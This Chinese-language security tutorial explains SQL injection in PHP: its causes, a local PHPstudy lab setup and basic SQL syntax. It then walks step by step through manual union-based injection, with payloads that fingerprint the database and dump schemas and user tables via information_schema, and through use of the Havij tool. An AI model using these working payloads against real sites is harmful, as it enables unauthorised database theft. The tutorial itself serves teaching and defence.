查看原文
其他

一文读懂 SQL 注入

计算机与网络安全 计算机与网络安全 2022-06-01

一次性进群,长期免费索取教程,没有付费教程。

教程列表见微信公众号底部菜单

进微信群回复公众号:微信群;QQ群:460500587



微信公众号:计算机与网络安全

ID:Computer-network

本文将介绍SQL注入的各个方面,并辅以PHP脚本语言为例,从SQL注入漏洞形成的原因,SQL注入漏洞的分类,靶机环境搭建,SQL注入漏洞如何利用,SQL注入的工具的介绍和使用方法,由浅入深,帮助大家更加深入的了解SQL注入


SQL注入在Web安全领域中,可以说是无人不知,无人不晓,哪怕是再没有接触过Web安全的程序员,都多少对这个词有所耳闻,它是目前被利用得最多的漏洞


不论是大公司,还是中小公司,绝大多数都被爆出过SQL注入漏洞,可见SQL注入的影响范围非常广,从WAF拦截情况来看,它的攻击次数差不多占到了总攻击拦截的三分之一左右,可见SQL注入攻击量非常大。


其实SQL注入漏洞的原理非常简单,但是对于不了解Web安全的程序员来说,还是比较头疼的,绝大多数开发业务的程序员只有个概念性认识,具体细节理解得模糊不清,故在此将做一个详细的、接地气的讲解,帮助普通程序员也能够很轻松地了解SQL注入的原理,并在实际的业务开发中能够规避SQL注入的问题,写出更加安全的代码!


SQL注入的原因并没有想象中那么复杂,简而言之就是由于程序员在开发Web业务逻辑的时候,没有对传入的外部可控参数进行安全过滤,直接拼接到了SQL语句中,导致数据库引擎被注入了恶意的SQL命令。


根据SQL注入的不同的方式,可以将SQL注入分别普通注入,编码注入,报错注入,盲注,延时注入等五种,当然还有其他的分类方式,比如根据传入的参数类型分为数字型与字符型。


一、SQL注入的检验方法


那么如何判断是否存在SQL注入呢?下面以PHP举个最简单的例子来说明。


正常的情况:

这里的 1 就是“外部可控参数”,如果恶意用户在URL地址栏中传入的参数不是 1,而是其他的字符,如 1 and 1=1 或者 1 and 1=2,那么传入的参数也会发生相应的改变, 导致最后形成的SQL语句变成了  "select id,name from user where id=1 and 1=1"或者"select id,name from user where id=1 and 1=2",那么该恶意的注入命令就被拼入了SQL语句中,等待被数据库引擎执行,一旦数据库执行该SQL语句,即可判断是否存在SQL注入漏洞,如下图所示:

当传入参数为 1 and 1=1 时,和传入参数为 1  时返回的结果相同。


语句1:


select id,name from user where id=1


语句2:


select id,name from user where id=1 and 1=1


原因:由于 1=1 为恒真,所以语句1 和语句2 是等价的。

当传入参数为 1 and 1=2时,和传入参数为 1 时返回的结果不同。


语句1:


select id,name from user where id=1 


语句3:


select id,name from user where id=1 and 1=2


原因:由于1=2为恒假,所以语句3 返回的查询数据为空。


上面的例子详细剖析了判断是否存在SQL注入的方法,通过拼接 and 1=1 和 and 1=2 到提交参数中,当然这是一个最简单的方法,因为这里的是传入的是整数型,如果传入是字符串的话,那么拼接参数可以调整为 ' and 'a'='a 和 ' and 'a'='b 。


我们继续来举例来说明字符串的情况:


正常情况:

这里传入的参数为zhangsan,如果我们修改传入的字符为' and 'a'='a 和 ' and 'a'='b 的话,我们一起来看下执行结果。


当传入参数为 ' and 'a'='a 时,执行结果如下:

和传入参数为 zhangsan 时返回的结果相同。


语句1:


select id,name from user where name='zhangsan'


语句2:


select id,name from user where name='zhangsan' and 'a'='a'


当传入参数为 ' and 'a'='b 时,执行结果如下:

和传入参数为 zhangsan 时返回的结果不同。


语句1:


select id,name from user where name='zhangsan'


语句3:


select id,name from user where name='zhangsan' and 'a'='b'


另外在上面的例子,演示了get请求,post请求两种最为常见的请求方式,其实cookie请求都是一样的,如果上面的例子中对$_GET['id']进行intval()处理的话,那么是完全可以避免SQL注入的问题。


二、SQL注入的危害


由于SQL注入是直接针对数据库进行攻击,所以它的危害是不言而喻。


数据库危害包括:


(1)脱库(直接盗取所有的数据)

(2)篡改数据(修改任意数据表中的数据)


Web服务器危害包括:


(1)在权限较大的情况下,可以直接写入webshell,或者执行系统命令。


(2)在权限较小的情况下,也可以猜解到用户数据表,并且爆破出用户密码


权限较大是指以下情况:


(1)当前的数据库用户拥有root或类似root的权限。


(2)当前的数据库用户拥有file权限,并且已经知道了web服务器的web根目录下的可写路径。

三、SQL注入靶机环境的搭建


靶机环境的搭建,基于简单、易用的原则,所以建议新手在Windows下安装集成环境包,这里是以PHP脚本为例,推荐使用PHPstudy集成环境安装包!


该程序包集成最新的Apache+Nginx+LightTPD+PHP+MySQL+phpMyAdmin+Zend Optimizer+Zend Loader,一次性安装,无须配置即可使用,是非常方便、好用的PHP调试环境。该程序绿色小巧简易迷你仅有32M,有专门的控制面板。总之学习PHP只需一个包。


对学习PHP的新手来说,Windows下环境配置是一件很困难的事;对老手来说也是一件烦琐的事。因此无论你是新手还是老手,该程序包都是一个不错的选择。


全面适合 Win2000/XP/2003/Win7/Win8/Win10/Win2008 操作系统 ,支持Apache、IIS、Nginx和LightTPD。


接下来,我们一步一步地搭建靶机环境:


(1)首先到官方网站下载软件,下载地址:http://www.phpstudy.net,目前最新的版本是2018版。


(2)解压压缩包,然后双击phpStudySetup.exe安装程序,开始自动安装。

(3)双击安装好的程序,单击“启动”,自动启动nginx+Mysql服务器。

(4)在web根目录下面,开始写PHP代码来做测试,靶机环境搭建成功!


注意:该环境包支持不同的服务器(apache,nginx,iis)和不同的PHP版本(5.2,5.3,5.4,5.5,5.6,7.0),所以方便我们后期针对不同的PHP版本做测试!

四、SQL基础


1、SQL简介


(1)什么是SQL?


SQL指结构化查询语句;

SQL使我们能访问数据库;

SQL是一种ANSI(美国国家标准化组织)的标准计算机语言。


(2)SQL能做什么?


面向数据库执行查询   

从数据库中取出数据   

向数据库插入新的记录   

更新数据库中数据   

从数据库删除记录   

创建数据库   

创建表   

创建存储过程   

创建视图   

设置表、存储过程和视图的权限


(3)RDBMS


RDBMS是指关系型数据库管理系统。


RDBMS是SQL的基础,同样也是所有现代数据库系统的基础,如MS SQL Server、IBM DB2、Oracle、MySQL以及Microsoft Access。


RDBMS中的数据存储在被称为表的数据库对象中表是相关的数据项的集合,它由列和行组成。


2、SQL语法


SQL对大小写不敏感。


(1)SQL语句后面的分号


某些数据库系统要求在每条SQL命令的末端使用分号。


分号是在数据库系统中分隔每条SQL语句的标准方法,这样就可以在服务器的相同请求中执行一条以上的语句。


如果使用的是MS Access和SQL Server,则不必在每条SQL语句之后使用分号,不过某些数据库要求必须使用分号。


(2)SQL DML和DDL


可以把SQL分为两个部分:数据操作语言(DML)和数据库定义语言(DDL)。


SQL(结构化查询语句)适用于执行查询的语法。但是SQL语言也包含用于更新、插入和删除记录的语法。查询和更新构成了SQL的DML部分:select、update、delete、insert into 。 


数据库定义语言(DDL)部分使我们有能力创建或删除表,我们也可以定义索引(键),规定表之间的连接,以及事假表间的约束:


Create database、alert database、create table、alert table、drop table、create index、drop index


3、Select查询


User表里面的数据如下:

查询user表里面的user_name字段和user_age字段的所有数据:


select user_name,user_age from user

查询user表中所有的字段数据,用 * 表示所有列的名称:


select * from user

4、Distinct


Distinct选取所有的值的时候不会出现重复的数据,用普通的查询,查询所有:


select * from user

select distinct user_name,user_age from user


注意:不能有user_id,因为两个Mary的user_id不一样,加上就不算相同数据。

5、Where


(1)查询user_id等于1 的数据


select * from user where user_id = 1

(2)查询user_age大于等于12的数据


select * from user where user_age >=12

(3)查询user_age不等于12的数据


select * from user where user_age <> 12

6、ADN 和 OR


And和or在where子语句中把两个或多个条件结合起来。如果需要两个条件都成立就是用and,如果只需要其中一个条件成立就使用or:


select * from user where user_name = 'mary' and user_age = 12


需要注意的是SQL使用单引号来环绕文本值,如果是数值则不需要引号。

select * from user where user_name='mary' or user_age =13

结合and和or使用圆括号来组成复杂的表达式:


select * from user where (user_name = 'mary' and user_age = 12) or(user_age =13)

7、Order by


(1)对指定列进行升序排列


select * from user order by user_name

(2)按照user_id逆序排列


select * from user order by user_id DESC

(3)按照升序排列user_id逆序排列user_age


SELECT * FROM user order by user_id ASC,user_age DESC

(4)按照升序排列user_id逆序排列user_age


SELECT * FROM user order by user_age DESC,user_id ASC

注意:前面的条件优先级更高!


8、Insert


User表:

插入一行数据 user_id为2 user_name为tom,user_age为12。


注意:如果每一项都有插入的话就不需要在前面列出列名!


insert into user values(2,'tom',12)

新插入一行数据,只要求user_name为eva:


insert into user(user_name) values('eva')


注意:因为ID设置为自增,所以user_id不为null。

9、Update


修改user_id为6的数据user_age为14:


update user set user_age=14 where user_id=6

修改user_id为1的数据user_name为ann,user_age为11:


update user set user_name='ann',user_age=11 where user_id=1

10、Delete


User表中的所有数据信息如下:

删除user_age为12的数据:


delete from user where user_age=12

删除表中的所有数据:


delete from user

五、SQL的高级用法


1、Top


Top子句用于返回要返回的记录的数目,但并不是所有的数据库都支持top子句。


(1)SQL Server


select top 5 * from user


(2)MySQL


select * from user limit 5


(3)Oracle


select * from user where ROWNUM <= 5


2、Like


User表的初始数据如下:

(1)找出以li开头的数据


select * from user where user_name like 'li%'

(2)找出以ry结尾的数据


select * from user where user_name like '%ry'

(3)找出含有a的数据


select * from user where user_name like '%a%'

(4)找出第二个字母是a第四个字母是y的数据


select * from user where user_name like '_a_y'

3、通配符


在搜索数据库中的数据的时候SQL通配符可以替代一个或多个字符。SQL通配符必须与like运算符一起使用。


(1)_ 替代一个字符


找出第二个字母是a第四个字母是y的数据:


select * from user where user_name like '_a_y'

(2)% 替代一个或多个字符


找出以ry结尾的数据:


select * from user where user_name like '%ry'

(3)[] 字符列中的任意一个单字符


找出以a或者l开头的数据:


select * from user where user_name like '[al]%'


找出不是a或者l开头的数据:


select * from user where user_name like '[!al]%'


4、In


只要数据满足in里面的一个条件就可以了。


找到user_age是12或者13的数据:


select * from user where user_age in (12,13)

找到user_name是Harry和Mary的数据:


select * from user where user_name IN ('mary','harry')

5、Between


选取两个值之间的数据。


查询年龄在12和14之间的数据:


select * from user where user_age between 12 and 14

查询字母在Alice和John之间的数据:


select * from user where user_name between 'alice' AND'john'

6、Aliases


指定别名


假设我们有两个表分别是user和Room 。我们分别指定他们为u和r。


(1)不使用别名


select room.room_name,user.user_name,user.user_age from user ,room  where user.user_age=12 and room.room_id = 1

(2)使用别名


使用别名的时候直接将别名跟在后面,不使用as也可以:


select r.room_name,u.user_name,u.user_age from user as u,room as r  where u.user_age=12 and r.room_id = 1

7、Join


数据库中的表可以通过键将彼此联系起来,主键是一个列,在这个列中的每一行的值都是唯一的,在表中,每个主键的值都是唯一的,这样就可以在不重复每个表中的所有数据的情况下,把表间的数据交叉捆绑在一起。


以下为表user和表Room的数据:

(1)引用两个表


找出在Room of boy相关联的用户信息:


select u.user_name,u.user_age,r.room_name from user as u,room as r 

where u.room_id = r.room_id and r.room_name='room of boy'

(2)使用关键字join来连接两张表


select u.user_name,u.user_age,r.room_name

from user as u

join room as r

on u.room_id = r.room_id and r.room_name='room of boy'

8、Inner join


Inner join 与 join 用法一致。


Select u.user_name,u.user_age,r.room_name

from user as u

inner join room as r

on u.room_id = r.room_id and r.room_name='room of boy'

9、Left join


注意:左连接以左边的表为主体,也就是说会列出左边的表中的所有的数据,无论它是否满足条件。


(1)user在左边


select u.user_name,u.user_age,r.room_name

from user as u

left join room as r

on u.room_id = r.room_id and r.room_name='room of boy'

(2)Room在左边


select u.user_name,u.user_age,r.room_name

from room as r

left join user as u

on u.room_id = r.room_id and r.room_name='room of boy'

10、Right join


注意:右连接以右边的表为主体,也就是说会列出右边的表中的所有的数据,无论它是否满足条件。


(1)Room在右边


select u.user_name,u.user_age,r.room_name

from user as u

right join room as r

on u.room_id = r.room_id and r.room_name='room of boy'

(2)user在右边


select u.user_name,u.user_age,r.room_name

from  room as r

right join user as u

on u.room_id = r.room_id and r.room_name='room of boy'

11、Union


Union操作符用于合并两个或者多个SELECT语句的结果集。


请注意,UNION内部的select语句必须拥有相同数量的列。列也必须拥有相同的数据类型。同时,每条select语句中的列的顺序必须相同。


下面是Room表和color表的数据:

select room_name from room

union

select color_name from color

默认的union选取不同的值,如果想要有相同的值出现就使用union all:


select room_name from room

union all

select color_name from color

12、Create DB


创建数据库mysqltest:


create database mysqltest

13、Create table


create table sqltest(

id int,

name varchar(45),

age int,

salary float,

time Date,

)

14、Constraints


SQL约束,用于限制加入表的数据的类型。


常见约束:not noll、unique、primary key、foreign key、check、default


15、Not null


Not null 约束强制列不接受NULL值。Not null 约束强制字段始终包含值,这意味着,如果不向字段添加值,就无法插入新的字段或者更新记录。


用法,在字段后面加上 not null:

16、Unique


Unique约束唯一标识数据库中的每一条记录。Primary key约束拥有自动的unique约束。需要注意的是,每个表里面可以拥有多个unique约束,但只能有一个primary key约束。


(1)MySQL用法,unique(字段名)

(2)SQL Server 、 Oracle 、 MS Access在字段后面加

(3)命名约束使用constraint

(4)已经创建了表之后需要添加约束


ALTER TABLE sqltest ADD UNIQUE(Age)

(5)给已经创建了的表添加约束并命名


ALTER TABLE sqltest ADD constraint unique_name UNIQUE(Age,salary)

(6)撤销约束


MySQL


在没有给约束命名的情况下(上面的age约束)直接使用字段名就可以了:


ALTER TABLE sqltest DROP INDEX age

删除后:

在约束有名字的情况下,直接使用名字就可以了:


ALTER table sqltest  drop index unique_name

删除后:

SQL Server 、 Oracle 、 MS Access


ALTER table 表名 drop constraint 约束名


17、Primary key


Primary key约束唯一标识数据库表中的每一条记录,组件必须包含唯一的值。组件列不能包含NULL值。每个表都应该有一个主键,并且每一个表都只能有一个主键。


(1)在MySQL中的用法

(2)在SQL Server 、 Oracle 和MS Access中的用法

(3)为已经创建成功的表创建primary key约束


alter table sqltest add primary key(id)

(4)为已经创建成功的表添加主键约束,以及为多个列定义主键约束


alter table sqltest add constraint pk_name primary key (id,name)

(5)在MySQL中撤销主键


ALTER  TABLE sqltest DROP PRIMARY KEY

删除后:

(6)在SQL Server、Oracle、MS Access中撤销主键


Alter table 表名 drop constraint 主键名


18、Default


Default约束用于向列宗插入默认值。如果没有规定其他值,那么就会将默认值添加到所有的新纪录。


用法:

当表已经存在的时候,添加默认值:


ALTER TABLE sqltest ALTER NAME SET DEFAULT 'tom'

撤销默认值:

19、Drop


通过使用DROP语句,可以删掉索引、表和数据库。


(1)删除索引


Drop index index_name on color

删除后:

(2)删除表


DROP TABLE colorcopy

删除后:

(3)清空表,自增主键清零


TRUNCATE TABLE color

删除后:

(4)删除数据库


DROP DATABASE mysqltest

删除后:

20、Alter


(1)添加列


Alter table user add salary float

(2)删除列


Alter table user drop column room_id

21、Increment


定义主键自增:

22、Null


默认的,表的列可以存放NULL值。如果表里面的某个列是可选的,那么我们可以在不想改列添加值的情况下插入记录或者更新记录,这意味着该字段以NULL值保存。注意,NULL和0是不等价的,不能进行比较。

(1)查询NULL值


select * from user where salary is null

(2)查询非NULL值


select * from user where salary  is not null

23、数据类型


MySQL主要有三种类型:文本、数字、日期。

六、SQL常用函数


1、SQL functions


在SQL当中,基本的函数类型和种类有若干种,函数的基本类型是:


合计函数(Aggregate function)和 Scalar函数


Aggregate 函数,函数操作面向一系列的值,并返回一个单一的值。


Scalar 函数,操作面向某个单一的值,并返回基于输入值的一个单一的值。

2、Avg()


求平均年龄:


select avg(user_age) from user

求大于平均年龄的用户:


select * from user where user_age>(Select avg(user_age) from user)

3、Count()


返回列的值的数目(不包含NULL)


注意,可以使用as来给count()取一个别名。

select count(user_id) from user

select count(salary) from user

返回值不同的有多少:


select count(distinct user_name) from user

查询所有列:


select count(*) from user

4、Max()


返回最大值,NULL不包括在计算中。

select max(price) as max_price from commodity

5、Min()


返回最小值,NULL不包括在计算中。

select min(salary) poor_man from user

6、Sum()


返回该列值的总额:

select sum(salary) from user

7、Group By


用于结合合计函数,根据一个或多个列对结果集进行分组。

SELECT cname,SUM(price) FROM commodity GROUP BY cname

8、Having


在SQL中增加having子句的原因是where不能与合计函数一起使用。用法和where 一样。


SELECT cname,SUM(price) FROM commodity

GROUP BY cname

HAVING  SUM(price)>20

9、Ucase()


把函数字段的值转化为大写。

SELECT UCASE(user_name) FROM user

10、Lcase()


将函数字段转化为小写。

select lcase(user_name) from user

11、Mid()


从文本字段中提取字符。

select mid(user_name,2,2) from user

12、Round()


Round函数把数值字段舍入为指定的小数位数。

select round(salary,2) from user

13、Now()


返回当前时间:


SELECT NOW() FROM user

七、普通注入详解


普通注入是指最简单的SQL注入漏洞,比如就跟前面的例子一样,外部可控参数没有经过任何安全过滤,直接拼接到SQL语句中,然后传入到数据库引擎执行。


前面的例子中,给出了判断是否有SQL注入漏洞的方法,接下来我们一起来看看如何利用SQL注入漏洞


后面所有测试SQL注入漏洞的数据表中的数据如下图。

在判断存在SQL注入漏洞之后,可以通过 order by关键字和二分法来判断回显位数,然后使用 union关键字来实现联合查询,将敏感信息回显到web页面上,其实普通注入也可以分为数字型和字符型。


正常的外部可控参数:1


正常的SQL语句:


select id,name from user where id=1


加入order by关键字后,修改后外部可控参数:


1 order by 10


修改后SQL语句:


select id,name from user where id=1 order by 10


注意:这里的10是随意设置的,用来猜解SQL语句查询字段的个数,当然你可以设置为10,25等等。


怎么确定查询字段的个数呢?


因为针对一般渗透过程来说,在web页面上浏览,无法看到源码中完整的SQL语句,所以也不知道到底这条查询语句有多少个查询字段?


所以只能依靠猜解和二分法。猜解就是先随意给一个数字,比如你预估有10个字段,那就写成order by 10, 这里会用到一个数据库引擎的特性:


查询字段个数 >= order by后面的数字,那么该SQL语句会执行成功!


相反的,查询字段个数 < order by后面的数字,那么该SQL语句会报错!


接下来我们用上面的例子来说明:


select id,name from user where id=1 order by  1


执行截图:

这条SQL语句的查询字段个数为2(id,name),order by后面的数字为1,由于2>=1,所以该SQL语句执行成功。


相反的,


select id,name from user where id=1 order by  3


执行截图:

这条SQL语句的查询字段个数为2,order by后面的数字为3,由于2<3,所以该SQL语句执行报错。


所以通过上面数据库的特性可以来判断出,该SQL语句到底有几个查询字段。不过这样一个一个地去比较麻烦,在查询字段个数比较多的情况下,比如有20个查询字段,那么就要去尝试很多次,才能判断查询字段个数,有没有一种方法能够,快速判断查询字段的个数呢?


答案是肯定的,这就要利用前面所说的二分法。见名知意,就是把数字范围不断进行二次切分,判断具体数字落在那个区间,然后重复二次切分,直到确认数字大小。


以上面的例子来说明:


第一次尝试猜解的外部可控参数:


1 order by  10


第一次SQL语句:


select id,name from user where id=1 order by 10


执行失败,说明这条SQL语句的个数不足10个。


第二次尝试猜解的外部可控参数:


1 order by  5


第二次SQL语句:


select id,name from user where id=1 order by 5


执行失败,说明这条SQL语句的个数不足5个,但是这里的5是我们通过二分法来重新调整的,原理很简单,查询字段个数肯定在1-5或者6-10之间,先取半值5来做判断,这样一来就可以淘汰一半的数值区间。


第三次外部可控参数:


1 order by  3


第三次SQL语句:


select id,name from user where id=1 order by 3


执行失败,说明这条SQL语句的个数不足3个,但是这里的3也是我们通过二分法来重新调整的,当然这里3也可以换成2,因为只有1,2,3,4四个数字,选2,选3都可以。


第四次外部可控参数:


1 order by  2


第四次SQL语句:


select id,name from user where id=1 order by 2


执行成功,说明查询字段个数就是2。


可见用了4次就可以判断出查询字段的个数,而不用去尝试10次。这就是二分法的使用技巧。


通过order by关键字和二分法猜解到查询字段个数,那么为什么要猜解呢?其实主要是配合后面用union关键字实现联合查询时会用到。


接下来我们要利用查询字段来进行回显,会用到union这个关键字。


重新构造的外部可控参数:


-1 union select 1,2


重新构造的SQL语句:


select id,name from user where id=-1 union select 1,2


执行结果如下:

这里为什么要用-1 union select 1,2这个外部可控参数,其实还有很多的变形,如外部可控参数:1 and 1=2  union select 1,2 也是可以的,只要保证前面select的查询结果为空就可以了,那么为什么要让前面的select查询结果为空呢?


原因很简单,因为我们要让查询字段变成回显字段,这样我们才能在web页面上查看到敏感的回显内容,这里我们只是回显1,2。如下图。

如果前面的select查询结果不为空的话,我们可能是无法查看回显信息的,比如源码中只查询一条数据,例如外部可控参数:


1 union select 1,2


SQL语句:


select id,name from user where id=1 union select 1,2


执行截图:

可见PHP中的fetch()函数只能查询单条记录,然而上面的SQL语言返回的是两条记录,所以只显示第一条记录,没有达到需要回显的效果。


因此在注入利用过程中,最好让前面的select查询结果为空。


那么要是我们把外部可控参数换成-1 union select version(),database(),那么SQL语句就被修改为:


select id,name from user where id=-1 union select version(),database()


执行结果如下:

这样就通过回显字段就把MySQL数据库的版本和当前所在的库名给显示出来了!


到目前为止,我们已经可以通过回显把数据库的敏感信息全部回显到web页面中了。


八、SQL注入的利用


前面详细讲解了如何通过使用order by关键字和union关键字来确定回显字段,下面继续深入讲解如何手工注入脱库!


我们继续修改外部的可控参数:


-1 union select concat(version(),0x23,database(),0x23,version(),0x23),1


那么组合成的SQL语句:


select id,name from user where id=-1 union 

select concat(version(),0x23,database(),0x23,user(),0x23),1


执行结果截图:

这里简单说明下:


version()   代表的是:Mysql数据库的版本

database()代表的是:当前数据库名

user()        代表的是:当前数据库用户


另外再介绍几个系统变量:


@@version_compile_os 代表的是:操作系统版本

@@datadir   代表的是:数据库数据(索引,表)的存储位置

@@basedir   代表的是:数据库的安装位置


另外介绍下这里SQL语句中使用到的concat()函数,该函数的作用是将字符串连接起来,类似作用的函数还有concat_ws()。


执行截图:

接下来,讲解如何利用union关键字来查询数据库里的数据。


在介绍之前,先介绍下Mysql在5.0版本之后,都有一个information_schema的系统数据库,这个数据库记录有哪些业务数据库(如test数据库),每个业务数据库中有哪些数据表,每张数据表中包含了哪些字段。


基于上述前提,来我们逐一查询,这里先假定连接Mysql数据库的是root用户,拥有所有权限。


针对数据库来说


外部可控参数:


-1 union select schema_name,1 from information_schema.schemata limit 0,1


完整SQL语句:


select id,name from user where id=-1 union 

select schema_name,1 from information_schema.schemata limit 0,1


执行结果:

这里说明下 information_schema数据库中有一张 schemata 数据表,上面记录了所有数据库名,schema_name就是数据库名对应的字段。


数据库名可以通过limit关键字来逐一查询出来,当然我们也可以使用其他更为简洁的方法一次性查出,如下:


外部可控参数:


-1 union select group_concat(schema_name),1 from information_schema.schemata 


完整SQL语句:


select id,name from user where id=-1 union 

select  group_concat(schema_name),1 from information_schema.schemata


执行截图:

这里说明下,group_concat()函数是用来做分组聚合处理的,所以可以一次性查出所有的数据库名。


查询出数据库名之后,接下来我们继续查询数据库test的有哪些数据表!


外部可控参数:


-1 union select  group_concat(table_name),1 from information_schema.tables where table_schema='test'


完整SQL语句:


select id,name from user where id=-1 union 

select  group_concat(table_name),1 from information_schema.tables where table_schema='test'


执行截图:

从上面的图中,可以看到已经将test数据库中的所有的数据表查询出来了,这里说明下:     information_schema数据库中有一张 tables 数据表,上面记录了每个数据库对应了哪些数据表,数据表名对应的字段为table_name。


接下来继续查询出test数据库,user数据表中有哪些字段!


外部可控参数:


-1 union select  group_concat(column_name),1 from information_schema.columns where table_name='user'


完整SQL语句:


select id,name from user where id=-1 union 

select  group_concat(column_name),1 from information_schema.columns where table_name='user' and table_schema='test'


执行截图:

从上面的图中,可以看到,已经将test数据库,user数据表中的所有的字段名查询出来了,这里说明下:


information_schema数据库中有一张 columns 数据表,上面记录了每个数据库的每张表对应了哪些字段,字段名对应的字段为column_name。


以上内容就是我们对整个数据库的表结构查询,依此方法,可以查询出任何数据库的任何表中的任何字段。


那么我们得到了这些字段以后,接下来就是要查询具体的数据了。


我们知道具体的数据都是放在数据表里的,然而我们已经知道了库名,表名,字段名,所以查询具体的数据是很轻松的。


外部可控参数:


-1 union select group_concat(concat_ws(0x23,id,name,age)),1 from test.user 


完整SQL语句:


select id,name from user where id=-1 union 

select group_concat(concat_ws(0x23,id,name,age)),1 from test.user


执行截图:

可以看到,user数据表中的所有的数据都被查询出来了,依此类推,其他所有数据库中的所有数据都可以通过这种方式查询出来,这就是手工注入


这种手工注入的方法的掌握,需要你比较熟悉数据库的一些特性和函数,当然基于上述的原理,市面上已经开发出来很多自动化注入工具,下面为大家详细介绍一款自动化SQL注入工具,将会大大减少工作量!


九、SQL注入使用的工具


SQL注入工具,市面上有很多种,比较主流的有havij,pangolin,明小子,当然还有比较高级的工具sqlmap,这里作为新手入门,主要讲解下havij,可以在Windows下使用。


havij是一款自动化的SQL注入工具,其界面如下图。

它能够帮助渗透测试人员发现和利用web应用程序的SQL注入漏洞,接下来我们以之前的例子来演示一下它的使用方法:

(1)表示在”target“中填写存在SQL注入的URL地址

(2)点击”Analyze“,表示开始执行SQL扫描

(3)表示检测是哪种数据库类型,包括Mysql,sqlserver,Oracle,Access

(4)选择请求类型,包括POST,GET

(5)判断是数字型还是字符型


根据实际的情况设定好配置选项后,点击"Analyze",该就开始运行扫描了!


运行一会之后,就可以扫描出各种信息,逐一讲解下。首先看”About"

输出结果依次展示了请求ip地址,web服务器信息,PHP版本,数字型注入,Mysql的版本,查询字段个数,当前数据库名等。


选择“Tables",点击"Get DBs",可以完整展示所有的数据库名。


选择“test"数据库,再点击”Get Tables",即可在test数据库下面展示出该库下的所有数据表。


选择“user"数据表,单击”Get Columns",即可在user数据表下面展示出该表的所有字段。


选择“id,name,age"字段,单击”Get Data",即可展示“id,name,age"所对应的所有数据。

当然如果你想保存这些数据表或者数据记录,可以通过单击”Save Tables"或者“Save Data"来进行相应的保存!


工具在很大程度上,帮助渗透人员减少了大量的工作量,能够很方便的把数据库里面的所有数据导出。


手工注入需要你去深入理解SQL注入的原理,工具注入能快速地获取数据库的所有数据。


建议新手不要依赖工具,在熟练掌握手工注入之后,再考虑使用工具注入,才能事半功倍,单靠工具注入是”脚本小子“的行为,注定是走不远的!

微信公众号:计算机与网络安全

ID:Computer-network

【推荐书籍】

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存